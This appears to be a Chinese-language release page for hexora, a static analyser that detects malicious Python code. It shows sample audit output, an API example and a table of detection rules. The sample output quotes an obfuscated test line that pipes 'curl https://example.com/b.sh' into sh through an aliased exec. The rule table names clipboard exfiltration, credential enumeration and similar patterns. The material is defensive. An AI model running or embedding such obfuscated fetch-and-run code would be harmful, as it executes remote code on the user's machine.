返回更新列表
新发布Aug 2, 2026

hexora v0.3.1

恶意Python代码的静态分析

分享

hexora

PyPI - Version

Hexora 是一款静态分析工具,旨在检测 Python 代码中的恶意和有害模式。它结合了基于规则的静态分析引擎与机器学习模型,对整个源文件进行评分,将其分类为恶意或良性。

它可以用于:

  • 审计项目依赖,以发现潜在的供应链攻击
  • 检测在 Pastebin、GitHub 或开放目录等平台上发现的恶意脚本
  • 分析过去安全事件中的 IoC 文件
  • 审计上传到 PyPi 的新包
Hexora 示例

示例

如需输出示例,请参见 docs/examples.md 文件。

安装

使用 Python

需要 Python 3.9+。

pip install hexora

使用 uv:

uv tool install hexora

使用

hexora --help

审计单个文件

>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  │
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
  │        ^^^^^^^^^^^^^^^^^ HX2000
  │
  = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
    Machine learning based score for file: 0.93

warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   │
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
   │ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   │

审计目录

hexora audit --output-format terminal resources/test/

审计虚拟环境中的包

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/

其中 python3.11 是虚拟环境中 Python 的版本。

提示:

  • 使用 --exclude 来抑制特定规则代码(例如,嘈杂的导入)
  • 使用 --min-confidence 仅关注高置信度的发现。

置信度表示某段代码的恶意程度。某些库或代码片段用于合法目的,很难区分合法用例与恶意用例。这就是为什么一些匹配项具有低置信度级别。

某些规则可以有不同的置信度级别。除非你非常确定,否则避免按代码过滤大量规则。例如,代码和 shell 执行可以有中等、高和非常高的置信度。这取决于代码的执行方式。如果我们检测到混淆尝试,我们会提升置信度。

例如,以下代码将具有高置信度:

globals()["__builtins__"].eval("print(123)")

在 Python 中使用

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

针对恶意数据集进行测试

在开发新规则时,您可以使用现有的恶意数据集,例如 malicious-software-packages-dataset

克隆后,将基准测试工具指向数据集目录:

cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt  --min-confidence high

可用规则

新规则会定期添加。

目前,以下规则可用:

代码名称描述
HX1000AppEnumeration可疑的应用程序枚举。
HX1010BrowserEnumeration可疑的浏览器枚举(应用程序、cookie、历史记录等)。
HX1020PathEnumeration可疑的路径枚举。
HX1030OSFingerprint可疑的操作系统指纹识别。
HX2000ClipboardRead从剪贴板读取。
HX2010EnvAccess访问敏感环境变量。
HX2020ScreenshotCapture截取屏幕截图。
HX3000CodeExec可能的代码执行。
HX3010ShellExec执行 shell 命令。
HX3040DLLInjection可能的 DLL 注入。
HX3050DangerousExec在 shell 命令中执行潜在危险命令。
HX3060SuspiciousCall可疑函数调用。
HX4000ObfuscatedShellExec执行可能混淆过的 shell 命令。
HX4010ObfuscatedCodeExec执行可能混淆过的代码。
HX5000DunderImport可疑的 __import__ 使用。
HX5010SuspiciousImport可疑导入。
HX5020CtypesImport可疑的 ctypes 导入。
HX5030PickleImport可疑的 pickle 导入。
HX5040StructImport可疑的 struct 导入。
HX5050SocketImport可疑的 socket 导入。
HX5060MarshalImport可疑的 marshal 导入。
HX6000Base64String检测到长 Base64 编码字符串;可能存在代码混淆。
HX6010HexedLiterals检测到十六进制编码的字面量列表;可能存在载荷。
HX6020HexedString检测到长十六进制编码字符串;可能存在载荷。
HX6030IntLiterals检测到大整数列表;可能存在代码混淆。
HX6040CVEInLiteral字面量包含 CVE 标识符。
HX6050SuspiciousLiteral检测到可疑字面量;可能存在数据枚举。
HX6060PathTraversal可疑的路径遍历。
HX6070BrowserExtension枚举敏感浏览器扩展。
HX6080WebHook检测到可疑 webhook。可能存在数据泄露。
HX6090TelegramToken在字符串字面量中检测到 Telegram 机器人令牌。
HX7000SuspiciousFunctionName可疑的函数名称。
HX7010SuspiciousParameterName可疑的参数名称。
HX7020SuspiciousVariable可疑的变量名称。
HX9000DataExfiltration潜在的数据泄露。
HX8000BinaryDownload可疑的二进制下载。
HX8010BuiltinsVariable可疑的内置变量使用。
HX8020SuspiciousComment可疑的注释。
HX8030SuspiciousWrite可疑的文件系统写入。
HX8040InstallHook可疑的安装钩子设置。

致谢

对于解析,我们使用 ruff 库中的 AST 解析器。

分类